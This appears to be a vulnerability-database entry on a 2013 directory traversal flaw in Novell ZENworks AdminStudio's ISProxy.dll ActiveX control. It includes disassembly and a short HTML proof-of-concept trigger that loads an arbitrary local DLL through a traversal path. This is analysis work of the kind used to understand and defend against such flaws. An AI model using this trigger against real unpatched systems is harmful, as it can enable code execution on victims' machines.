Attacker Value
Unknown
(1 user assessed)
Exploitability
Unknown
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
0

Novell ZENworks Admin Studio ISProxy Vulnerability

Disclosure Date: March 29, 2013
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Directory traversal vulnerability in the ISCreateObject method in an ActiveX control in InstallShield\ISProxy.dll in AdminStudio in Novell ZENworks Configuration Management (ZCM) 10.3 through 11.2 allows remote attackers to execute arbitrary local DLL files via a crafted web page that also calls the Initialize method.

Add Assessment

1
Technical Analysis

The specific flaw exists within the ISProxy.dll ActiveX object. The ISCreateObject() method suffers from a directory vulnerability and it is also possible to break the search path through a null char. By combining the Initialize() and ISCreateObject() methods, an attacker can force the underlying operating system to load arbitrary dlls bypassing normal security restriction. This vulnerability allows an attacker to execute code under the context of the process.

(1) Legit Code Samples

var file = new ActiveXObject("ISProxy.Proxy");
file.ISCreateObject(document, "isutil.dll", "{A5CF09AF-F2FC-4E5D-9F7D-419D28130E62}");

var objMgr = new ActiveXObject("ISProxy.Proxy");
objMgr.ISCreateObject(document, "isobjmgr.dll", "{DE5FBA5D-8AB0-4a53-B620-F2065702D228}");

Vulnerable code

Form ISProxy.dll

.text:63371561                 push    eax             ; lpPathName => C:\Documents and Settings\system
.text:63371562                 call    esi ; SetCurrentDirectoryA
.text:63371564                 lea     ecx, [ebp+var_38]
.text:63371567                 mov     byte ptr [ebp+var_4], 2
.text:6337156B                 call    sub_6337186D
.text:63371570                 lea     ecx, [ebp+var_68]
.text:63371573                 call    sub_63372927
.text:63371578                 push    eax             ; lpLibFileName => Controlled from the second arg
.text:63371579                 call    ds:LoadLibraryA
.text:6337157F                 mov     edi, eax
.text:63371581                 lea     eax, [ebp+PathName]
.text:63371587                 push    eax             ; lpPathName
.text:63371588                 call    esi ; SetCurrentDirectoryA

Trigger

The next HTML will try to load c:\test.dll

<html>
<object classid='clsid:A1000F0F-9C12-4AB3-B195-02BE93328283' id='test'></object>
<script language='javascript'>
test.Initialize(document);
test.ISCreateObject(document, "..\\..\\test.dll", "A1000F0F-9C12-4AB3-B195-02BE93328283");
</script>
</html>

So the vulnerability, as explained by the ZDI advisory allows to load an arbitrary DLL from the underliying OS, but I dont see how to load it from an arbitrary remote location.

So in order to achieve remote code execution you need to plant a DLL previously in the targeted file system.

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • novell

Products

  • zenworks configuration management 10.3,
  • zenworks configuration management 10.3.1,
  • zenworks configuration management 10.3.2,
  • zenworks configuration management 10.3.3,
  • zenworks configuration management 11,
  • zenworks configuration management 11.1,
  • zenworks configuration management 11.1a,
  • zenworks configuration management 11.2

Additional Info

Technical Analysis